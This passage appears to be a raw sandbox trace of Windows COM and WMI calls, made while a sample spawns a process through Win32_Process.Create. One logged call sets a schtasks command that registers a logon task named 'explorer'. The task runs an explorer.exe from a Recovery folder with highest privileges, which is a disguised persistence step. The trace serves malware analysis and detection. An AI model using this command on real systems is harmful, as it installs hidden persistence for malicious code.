pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0137.529] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc93f70, uIndex=0x1, pszName="CIMV2") returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc93f70, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0137.529] WbemDefPath:IWbemPath:SetClassName (This=0x1bc93f70, Name="Win32_Process") returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93f70, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93f70, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0137.529] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93f70, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93f70, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93f70, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93f70, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93f70, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93f70, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93f70, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0137.530] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93f70, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0137.530] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0137.530] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0137.530] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0137.530] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.532] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc89670) returned 0x0 [0137.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89670, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0137.532] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89670, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc940f0) returned 0x0 [0137.532] WbemDefPath:IUnknown:Release (This=0x1bc89670) returned 0x0 [0137.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc940f0) returned 0x0 [0137.532] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0137.533] WbemDefPath:IUnknown:AddRef (This=0x1bc940f0) returned 0x3 [0137.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0137.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0137.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc896b0) returned 0x0 [0137.533] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc896b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.533] WbemDefPath:IUnknown:Release (This=0x1bc896b0) returned 0x3 [0137.533] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0137.533] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0137.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0137.533] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x2 [0137.533] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x1 [0137.533] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0137.533] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0137.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc940f0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc940f0) returned 0x0 [0137.533] WbemDefPath:IUnknown:AddRef (This=0x1bc940f0) returned 0x3 [0137.533] WbemDefPath:IUnknown:Release (This=0x1bc940f0) returned 0x2 [0137.533] WbemDefPath:IWbemPath:SetText (This=0x1bc940f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0137.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0137.533] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0137.534] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.534] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0137.534] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0137.534] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0137.534] IUnknown:Release (This=0x1a943398) returned 0x1 [0137.536] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc896f0) returned 0x0 [0137.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc896f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0137.536] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc896f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc941b0) returned 0x0 [0137.536] WbemDefPath:IUnknown:Release (This=0x1bc896f0) returned 0x0 [0137.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc941b0) returned 0x0 [0137.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0137.536] WbemDefPath:IUnknown:AddRef (This=0x1bc941b0) returned 0x3 [0137.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0137.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0137.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc89730) returned 0x0 [0137.537] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89730, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0137.537] WbemDefPath:IUnknown:Release (This=0x1bc89730) returned 0x3 [0137.537] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0137.537] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0137.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0137.537] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x2 [0137.537] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x1 [0137.537] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0137.537] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0137.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc941b0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc941b0) returned 0x0 [0137.537] WbemDefPath:IUnknown:AddRef (This=0x1bc941b0) returned 0x3 [0137.537] WbemDefPath:IUnknown:Release (This=0x1bc941b0) returned 0x2 [0137.537] WbemDefPath:IWbemPath:SetText (This=0x1bc941b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0137.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc940f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0137.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0137.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0137.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc941b0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0137.537] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc940f0) returned 0x0 [0137.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc941b0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0137.537] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc941b0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc941b0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0137.538] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc940f0, uIndex=0x0, pszName="root") returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc941b0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc941b0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0137.538] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc940f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc941b0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc941b0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc940f0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc940f0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc940f0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93d30, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93d30, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc940f0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0137.538] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0137.541] IWbemServices:GetObject (in: This=0x1bc96040, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc77720, ppCallResult=0x0) returned 0x0 [0137.543] IWbemClassObject:GetMethod (in: This=0x1bc77720, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc77a90, ppOutSignature=0x1bb7e690*=0x1bc77e00) returned 0x0 [0137.544] IWbemClassObject:SpawnInstance (in: This=0x1bc77a90, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa197f0) returned 0x0 [0137.544] IWbemClassObject:Get (in: This=0x1aa197f0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891770*=0, plFlavor=0x2891774*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891770*=8, plFlavor=0x2891774*=32) returned 0x0 [0137.544] IWbemClassObject:Get (in: This=0x1aa197f0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891770*=8, plFlavor=0x2891774*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891770*=8, plFlavor=0x2891774*=32) returned 0x0 [0137.545] IWbemClassObject:Put (This=0x1aa197f0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0137.545] IWbemClassObject:Get (in: This=0x1aa197f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891800*=0, plFlavor=0x2891804*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891800*=13, plFlavor=0x2891804*=32) returned 0x0 [0137.545] IWbemClassObject:Get (in: This=0x1aa197f0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891800*=13, plFlavor=0x2891804*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2891800*=13, plFlavor=0x2891804*=32) returned 0x0 [0137.545] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc77040) returned 0x0 [0137.545] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0137.545] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0137.545] IUnknown:AddRef (This=0x1bc77040) returned 0x3 [0137.546] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0137.546] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0137.546] IUnknown:QueryInterface (in: This=0x1bc77040, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc77048) returned 0x0 [0137.546] IMarshal:GetUnmarshalClass (in: This=0x1bc77048, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, 